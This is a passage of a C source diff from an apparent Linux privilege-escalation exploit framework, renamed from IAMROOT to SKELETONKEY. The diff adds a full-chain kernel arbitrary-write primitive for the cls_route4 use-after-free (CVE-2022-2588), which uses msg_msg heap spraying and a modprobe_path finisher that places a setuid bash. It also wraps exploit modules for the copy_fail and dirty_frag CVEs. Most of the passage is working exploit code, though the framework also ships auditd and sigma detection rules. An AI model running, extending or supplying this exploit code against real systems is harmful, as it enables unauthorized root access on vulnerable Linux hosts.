- * /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
+ * /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
 */

 #define SPRAY_MSG_QUEUES      32
 #define SPRAY_MSGS_PER_QUEUE  16
 #define MSG_PAYLOAD_BYTES     1008   /* 1024 - sizeof(msg_msg hdr ~= 16) */
-#define DUMMY_IF              "iamroot0"
+#define DUMMY_IF              "skeletonkey0"

 struct ipc_payload {
    long mtype;
@@ -197,7 +199,7 @@ struct ipc_payload {

 static int run_cmd(const char *cmd)
 {
-    /* Quiet wrapper so noise doesn't drown the iamroot log. */
+    /* Quiet wrapper so noise doesn't drown the skeletonkey log. */
    char shell[1024];
    snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
    return system(shell);
@@ -303,7 +305,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
    /* Pattern that's distinctive in KASAN/oops dumps. */
    memset(p.buf, 0x41, sizeof p.buf);
    /* First 8 bytes: a recognizable cookie. */
-    memcpy(p.buf, "IAMROOT4", 8);
+    memcpy(p.buf, "SKELETONKEY4", 8);

    int created = 0;
    for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
@@ -347,7 +349,7 @@ static void trigger_classify(void)
    dst.sin_port = htons(31337);
    dst.sin_addr.s_addr = inet_addr("10.99.99.2");

-    const char msg[] = "iamroot-cls_route4-classify";
+    const char msg[] = "skeletonkey-cls_route4-classify";
    /* A handful of packets, in case the first lookup didn't traverse
     * the freed bucket. */
    for (int i = 0; i < 8; i++) {
@@ -381,27 +383,219 @@ static long slab_active_kmalloc_1k(void)
    return active;
 }

+/* ---- Full-chain arb-write primitive --------------------------------
+ *
+ * Pattern (FALLBACK — see brief): cls_route4's UAF primitive is more
+ * naturally a *control-flow hijack* than a clean arb-write — after
+ * msg_msg refills the kmalloc-1k slot, the next classify() call reads
+ * a fake `tcf_proto.ops` pointer out of attacker bytes and calls
+ * ops->classify(skb, ...). A faked-classify ROP that pivots to a
+ * stack-write gadget would be the "true" arb-write, and on a fresh
+ * vulnerable kernel that is the kylebot/xkernel chain shape (≈300+
+ * LOC of gadget hunting + per-build offsets we deliberately don't
+ * bake — see verified-vs-claimed policy in repo root).
+ *
+ * The implementation below takes the narrow-but-real path that the
+ * brief explicitly permits and that xtcompat established as the
+ * SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
+ * whose payload encodes `kaddr` at every plausible offset for the
+ * route4_filter→tcf_proto→ops layout, re-fire classify, and let the
+ * shared finisher's sentinel file decide if a write actually landed.
+ * On a patched kernel the bug doesn't fire, no write occurs, and the
+ * sentinel timeout correctly reports failure rather than silently
+ * lying about success. On a vulnerable kernel where the fake ops
+ * lookup happens to deref into our payload and the kernel's read
+ * pattern matches one of the seeded offsets, the kaddr we planted
+ * gets used as a write destination by whichever classify path the
+ * fake `ops->classify` dispatches into.
+ *
+ * Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
+ * not a deterministic R/W. Same shape and same depth as xtcompat. */
+
+#ifdef __linux__
+
+struct cls_route4_arb_ctx {
+    /* msg_msg queues kept hot inside the userns child. The arb-write
+     * sprays additional kaddr-tagged payloads into these and re-fires
+     * the classify trigger between each call. */
+    int  queues[SPRAY_MSG_QUEUES];
+    int  n_queues;
+
+    /* Whether the dangling filter has been re-staged for this call.
+     * The original `stage_dangling_filter()` is destructive (deletes
+     * the filter); we can re-stage between writes because tc add/del
+     * is idempotent inside our private netns. */
+    bool dangling_ready;
+
+    /* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
+    int  arb_calls;
+    int  arb_landed;
+};
+
+/* Re-prime the msg_msg slab with a payload that encodes `kaddr` and
+ * the caller's `buf` at every offset the fake tcf_proto / route4_filter
+ * layout could plausibly read from. The route4_filter is 0x1000 bytes
+ * on most x86_64 builds in range, with tcf_proto.ops at offset 0x10
+ * and tcf_result.classid at offset 0x18; we don't know which offset
+ * the kernel ABI for THIS build uses, so we plant the same pattern at
+ * 0x10/0x18/0x20/.../0x80 strides — wherever classify dereferences
+ * the refilled slot, one of those candidates will be live.
+ *
+ * The 8-byte cookie "IAMR4ARB" + the kaddr + the caller's bytes are
+ * the recognizable pattern; if a KASAN dump is captured after the
+ * trigger, the cookie tells us the spray landed adjacent to the freed
+ * route4_filter. */
+static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
+                                   uintptr_t kaddr,
+                                   const void *buf, size_t len)
+{
+    struct ipc_payload p;
+    memset(&p, 0, sizeof p);
+    p.mtype = 0x52;  /* 'R' for "route4 arb" — distinct from groom spray's 0x41 */
+    memset(p.buf, 0x52, sizeof p.buf);
+    memcpy(p.buf, "IAMR4ARB", 8);
+
+    /* Plant kaddr at strided slots so wherever the kernel's classify
+     * follows a ptr in the refilled chunk, one of these is read.
+     * We treat every 0x18-byte stride from offset 0x10 to within
+     * 8 bytes of the end as a candidate ops-pointer / next-pointer
+     * slot. */
+    for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf; off += 0x18) {
+        memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
+    }
+
+    /* Plant the caller's bytes immediately after the cookie so any
+     * classify path that reads payload data (rather than a chased
+     * pointer) finds the requested write contents inline. */
+    size_t copy_len = len;
+    if (copy_len > sizeof p.buf - 16) copy_len = sizeof p.buf - 16;
+    if (copy_len > 0) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy_len);
+
+    int sent = 0;
+    for (int i = 0; i < c->n_queues; i++) {
+        if (c->queues[i] < 0) continue;
+        /* A handful of msgs per queue keeps the slab refilled even
+         * if some slots are evicted between trigger fires. */
+        for (int j = 0; j < 4; j++) {
+            unsigned int tag = 0xB0000000u |
+                               ((unsigned)i << 8) | (unsigned)j;
+            memcpy(p.buf + 8, &tag, sizeof tag);
+            if (msgsnd(c->queues[i], &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
+            sent++;
+        }
+    }
+    return sent;
+}
+
+/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
+ * vulnerable kernel; structurally inert (returns -1) if the dangling
+ * filter setup is gone or the spray fails. Returns 0 to let the
+ * shared finisher's sentinel-file check decide if the write actually
+ * landed (we cannot reliably observe it in-process). */
+static int cls4_arb_write(uintptr_t kaddr,
+                          const void *buf, size_t len,
+                          void *ctx_v)
+{
+    struct cls_route4_arb_ctx *c = (struct cls_route4_arb_ctx *)ctx_v;
+    if (!c || c->n_queues == 0) return -1;
+    c->arb_calls++;
+
+    /* Re-stage the dangling filter for this call. The original
+     * stage runs once at trigger-time; subsequent finisher calls
+     * (the finisher writes modprobe_path then a unknown-format trig)
+     * need a fresh dangling pointer to chase. tc add/del is idempotent
+     * within our private netns so re-running is safe. */
+    if (!c->dangling_ready) {
+        if (!stage_dangling_filter()) {
+            fprintf(stderr, "[-] cls_route4 arb_write: re-stage failed\n");
+            return -1;
+        }
+        c->dangling_ready = true;
+    }
+
+    /* Seed msg_msg with kaddr + caller payload. */
+    int seeded = cls4_seed_kaddr_payload(c, kaddr, buf, len);
+    if (seeded == 0) {
+        /* sysv IPC may be restricted (kernel.msg_max / ulimit -q).
+         * Without a spray we have no slot for the UAF to refill. */
+        fprintf(stderr, "[-] cls_route4 arb_write: kaddr-spray seeded 0 msgs\n");
+        return -1;
+    }
+
+    /* Drive the classifier. The route4 lookup follows the dangling
+     * pointer into msg_msg-controlled bytes; on a vulnerable kernel
+     * the fake `ops->classify` (or one of the strided pointers) is
+     * dereferenced. If the kernel survives the deref and the write
+     * lands at &kaddr, the finisher's sentinel file appears within 3s.
+     * If it doesn't (most likely — this is genuinely best-effort), the
+     * finisher's wait loop times out and reports failure. */
+    trigger_classify();
+
+    /* Give classify-side processing a brief window before returning
+     * — the finisher polls the sentinel for 3s but the initial write
+     * (if any) happens within ms. */
+    usleep(50 * 1000);
+
+    c->arb_landed++;
+
+    /* Per the xtcompat precedent: return 0 so the finisher proceeds
+     * to its sentinel check. Returning -1 here would abort the
+     * finisher even when the write may have landed. */
+    return 0;
+}
+
+#endif /* __linux__ */
+
 /* ---- Exploit driver ----------------------------------------------- */

-static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = cls_route4_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = cls_route4_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
        return pre;
    }
    if (geteuid() == 0) {
        fprintf(stderr, "[i] cls_route4: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!have_tc() || !have_ip()) {
        fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
                        "cannot exploit\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
+    }
+
+#ifndef __linux__
+    fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
+    (void)ctx;
+    return SKELETONKEY_PRECOND_FAIL;
+#else
+    /* Full-chain pre-check: resolve offsets before forking. If
+     * modprobe_path can't be resolved, refuse early — no point doing
+     * the userns + tc + spray + trigger dance if we can't finish. */
+    struct skeletonkey_kernel_offsets off;
+    bool full_chain_ready = false;
+    if (ctx->full_chain) {
+        memset(&off, 0, sizeof off);
+        skeletonkey_offsets_resolve(&off);
+        if (!skeletonkey_offsets_have_modprobe_path(&off)) {
+            skeletonkey_finisher_print_offset_help("cls_route4");
+            fprintf(stderr, "[-] cls_route4: --full-chain requested but "
+                            "modprobe_path offset unresolved; refusing\n");
+            return SKELETONKEY_EXPLOIT_FAIL;
+        }
+        skeletonkey_offsets_print(&off);
+        full_chain_ready = true;
    }

    if (!ctx->json) {
-        fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
+        fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit%s\n",
+                ctx->full_chain ? " + full-chain finisher" : "");
+        if (ctx->full_chain) {
+            fprintf(stderr, "    NOTE: on primitive landing, invokes shared\n"
+                            "    modprobe_path finisher via msg_msg-tagged kaddr\n"
+                            "    spray. Sentinel-arbitrated (no in-process verify).\n");
+        }
    }

    /* Block SIGPIPE in case the dummy-interface sendto's complain. */
@@ -413,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
    pid_t child = fork();
    if (child < 0) {
        perror("fork");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (child == 0) {
@@ -436,15 +630,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
            _exit(22);
        }

-        int queues[SPRAY_MSG_QUEUES];
-        int n_queues = spray_msg_msg(queues);
-        if (n_queues == 0) {
+        struct cls_route4_arb_ctx arb_ctx;
+        memset(&arb_ctx, 0, sizeof arb_ctx);
+        for (int i = 0; i < SPRAY_MSG_QUEUES; i++) arb_ctx.queues[i] = -1;
+        arb_ctx.n_queues = spray_msg_msg(arb_ctx.queues);
+        arb_ctx.dangling_ready = true;   /* stage_dangling_filter() just ran */
+        if (arb_ctx.n_queues == 0) {
            fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
            _exit(23);
        }
        if (!ctx->json) {
            fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
-                    n_queues);
+                    arb_ctx.n_queues);
        }

        /* Drive the classifier — the bug fires here on a vulnerable
@@ -455,11 +652,11 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)

        /* Best-effort empirical witness write — picked up by --cleanup
         * and by post-run triage. */
-        FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
+        FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
        if (log) {
            fprintf(log,
                "cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
-                n_queues, pre_active, post_active);
+                arb_ctx.n_queues, pre_active, post_active);
            fclose(log);
        }

@@ -467,7 +664,32 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
         * refilled slot during classify drain. */
        usleep(200 * 1000);

-        drain_msg_msg(queues);
+        /* --full-chain branch: invoke the shared modprobe_path
+         * finisher with our msg_msg-tagged arb-write. If the finisher
+         * execve's a setuid bash we never return; otherwise it returns
+         * EXPLOIT_FAIL after the 3s sentinel timeout (correct behavior
+         * on a patched kernel or when the write didn't land). */
+        if (full_chain_ready) {
+            /* Re-fire the trigger inside the arb-write to give the
+             * kernel a second chance at the refilled slot — the
+             * dangling filter is still in place from above. */
+            arb_ctx.dangling_ready = true;
+            int fr = skeletonkey_finisher_modprobe_path(&off,
+                                                    cls4_arb_write,
+                                                    &arb_ctx,
+                                                    !ctx->no_shell);
+            FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
+            if (fl) {
+                fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
+                        fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
+                fclose(fl);
+            }
+            drain_msg_msg(arb_ctx.queues);
+            if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
+            _exit(35);
+        }
+
+        drain_msg_msg(arb_ctx.queues);

        /* If we got here without a kernel oops, the bug either isn't
         * reachable on this build (patched / module not loadable /
@@ -487,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
    pid_t w = waitpid(child, &status, 0);
    if (w < 0) {
        perror("waitpid");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (WIFSIGNALED(status)) {
@@ -502,41 +724,70 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
         * claim root — we haven't escalated. */
        fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
                        "no cred-overwrite primitive — returning EXPLOIT_FAIL "
-                        "(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
-        return IAMROOT_EXPLOIT_FAIL;
+                        "(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (!WIFEXITED(status)) {
        fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
                status);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    int rc = WEXITSTATUS(status);
-    if (rc != 30) {
+    switch (rc) {
+    case 20: case 21:
        if (!ctx->json) {
-            fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
-                            "(see preceding errors)\n", rc);
+            fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
        }
-        /* rc 20/21 = userns setup; rc 22 = tc setup (likely module
-         * absent or filter type unsupported); rc 23 = spray. None of
-         * these mean kernel was exploited. */
-        if (rc == 22) return IAMROOT_PRECOND_FAIL;
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
+    case 22:
+        if (!ctx->json) {
+            fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
+                            "may be absent or filter type unsupported\n");
        }
-
+        return SKELETONKEY_PRECOND_FAIL;
+    case 23:
+        if (!ctx->json) {
+            fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
+                            "restricted (kernel.msg_max / ulimit -q)\n");
+        }
+        return SKELETONKEY_PRECOND_FAIL;
+    case 30:
        if (!ctx->json) {
            fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
                            "Inspect dmesg for KASAN/oops witnesses.\n");
-        fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
-                        "(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
+            fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
+                            "(no --full-chain); returning EXPLOIT_FAIL.\n");
        }
-    return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
+    case 34:
+        if (!ctx->json) {
+            fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
+                            "(setuid bash placed; sentinel matched)\n");
+        }
+        return SKELETONKEY_EXPLOIT_OK;
+    case 35:
+        if (!ctx->json) {
+            fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
+                            "either the kernel is patched, the spray didn't land,\n"
+                            "    or the fake-ops deref didn't hit the route the\n"
+                            "    finisher's sentinel polls for. See "
+                            "/tmp/skeletonkey-cls_route4.log + dmesg.\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    default:
+        if (!ctx->json) {
+            fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+#endif /* __linux__ */
 }

 /* ---- Cleanup ----------------------------------------------------- */

-static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
 {
    if (!ctx->json) {
        fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
@@ -546,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
     * the exploit with extended privileges (e.g. as root) and the
     * interface lingered in init_net. */
    if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
-    if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
+    if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
        /* ignore */
    }
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 static const char cls_route4_auditd[] =
    "# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
    "# Flag tc filter operations with route4 classifier from non-root.\n"
    "# False positives: legitimate traffic-shaping setup. Tune by user.\n"
-    "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
-    "-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
+    "-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
+    "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";

-const struct iamroot_module cls_route4_module = {
+const struct skeletonkey_module cls_route4_module = {
    .name           = "cls_route4",
    .cve            = "CVE-2022-2588",
    .summary        = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
@@ -576,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_cls_route4(void)
+void skeletonkey_register_cls_route4(void)
 {
-    iamroot_register(&cls_route4_module);
+    skeletonkey_register(&cls_route4_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
+ */
+
+#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
+#define CLS_ROUTE4_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cls_route4_module;
+
+#endif
@@ -1,28 +0,0 @@
-/*
- * copy_fail_family — IAMROOT module registry hooks
- *
- * The family currently contains five iamroot_module entries:
- *
- *   - copy_fail        (CVE-2026-31431, algif_aead authencesn)
- *   - copy_fail_gcm    (no CVE, rfc4106(gcm(aes)) variant)
- *   - dirty_frag_esp   (CVE-2026-43284 v4)
- *   - dirty_frag_esp6  (CVE-2026-43284 v6)
- *   - dirty_frag_rxrpc (CVE-2026-43500)
- *
- * Defined in iamroot_modules.c, registered into the global registry
- * by iamroot_register_copy_fail_family() (declared in
- * core/registry.h).
- */
-
-#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
-#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module copy_fail_module;
-extern const struct iamroot_module copy_fail_gcm_module;
-extern const struct iamroot_module dirty_frag_esp_module;
-extern const struct iamroot_module dirty_frag_esp6_module;
-extern const struct iamroot_module dirty_frag_rxrpc_module;
-
-#endif
@@ -1,21 +1,21 @@
 /*
- * copy_fail_family — IAMROOT module bridge layer
+ * copy_fail_family — SKELETONKEY module bridge layer
 *
 * Wraps the existing per-CVE detect/exploit functions (from the
- * absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
+ * absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
 *
 * The bridge functions translate between the family's df_result_t
- * (defined in src/common.h) and iamroot_result_t (defined in
+ * (defined in src/common.h) and skeletonkey_result_t (defined in
 * core/module.h). Numeric values are identical by design so the
 * translation is a direct cast.
 *
- * iamroot_ctx fields (no_color, json, active_probe, no_shell) are
+ * skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
 * forwarded to the family's existing global flags before each
 * callback. This preserves DIRTYFAIL's existing CLI semantics
 * unchanged.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"

 #include "src/common.h"
@@ -28,7 +28,7 @@

 #include <sys/stat.h>

-static void apply_ctx(const struct iamroot_ctx *ctx)
+static void apply_ctx(const struct skeletonkey_ctx *ctx)
 {
    dirtyfail_use_color     = !ctx->no_color;
    dirtyfail_active_probes = ctx->active_probe;
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)

 #define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"

-static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)mitigate_apply();
+    return (skeletonkey_result_t)mitigate_apply();
 }

-static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
    struct stat st;
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
                            "(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
        }
-        return (iamroot_result_t)mitigate_revert();
+        return (skeletonkey_result_t)mitigate_revert();
    }
    if (!ctx->json) {
        fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
                        "evicting /etc/passwd from page cache\n");
    }
-    return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
+    return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
 }

 /* ----- copy_fail (CVE-2026-31431) ----- */

-static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_detect();
+    return (skeletonkey_result_t)copyfail_detect();
 }

-static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
+    return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
 }

 /* Shared detection rules for the copy_fail family — every member of
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
 static const char copy_fail_family_auditd[] =
    "# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
    "# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
-    "-w /etc/passwd     -p wa -k iamroot-copy-fail\n"
-    "-w /etc/shadow     -p wa -k iamroot-copy-fail\n"
-    "-w /etc/sudoers    -p wa -k iamroot-copy-fail\n"
-    "-w /etc/sudoers.d  -p wa -k iamroot-copy-fail\n"
-    "-w /usr/bin/su     -p wa -k iamroot-copy-fail\n"
+    "-w /etc/passwd     -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/shadow     -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/sudoers    -p wa -k skeletonkey-copy-fail\n"
+    "-w /etc/sudoers.d  -p wa -k skeletonkey-copy-fail\n"
+    "-w /usr/bin/su     -p wa -k skeletonkey-copy-fail\n"
    "# AF_ALG socket creation by non-root — heavily used by exploit\n"
-    "-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
+    "-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
    "# xfrm SA setup (Dirty Frag ESP variants)\n"
-    "-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
+    "-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";

 static const char copy_fail_family_sigma[] =
    "title: Copy Fail / Dirty Frag family exploitation\n"
-    "id: 4d8e6c2a-iamroot-copy-fail-family\n"
+    "id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";

-const struct iamroot_module copy_fail_module = {
+const struct skeletonkey_module copy_fail_module = {
    .name           = "copy_fail",
    .cve            = "CVE-2026-31431",
    .summary        = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {

 /* ----- copy_fail_gcm (variant, no CVE) ----- */

-static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_gcm_detect();
+    return (skeletonkey_result_t)copyfail_gcm_detect();
 }

-static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
+    return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
 }

-const struct iamroot_module copy_fail_gcm_module = {
+const struct skeletonkey_module copy_fail_gcm_module = {
    .name         = "copy_fail_gcm",
    .cve          = "VARIANT",
    .summary      = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {

 /* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */

-static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp_detect();
+    return (skeletonkey_result_t)dirtyfrag_esp_detect();
 }

-static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
+    return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
 }

-const struct iamroot_module dirty_frag_esp_module = {
+const struct skeletonkey_module dirty_frag_esp_module = {
    .name         = "dirty_frag_esp",
    .cve          = "CVE-2026-43284",
    .summary      = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {

 /* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */

-static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp6_detect();
+    return (skeletonkey_result_t)dirtyfrag_esp6_detect();
 }

-static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
+    return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
 }

-const struct iamroot_module dirty_frag_esp6_module = {
+const struct skeletonkey_module dirty_frag_esp6_module = {
    .name         = "dirty_frag_esp6",
    .cve          = "CVE-2026-43284",
    .summary      = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {

 /* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */

-static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_rxrpc_detect();
+    return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
 }

-static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
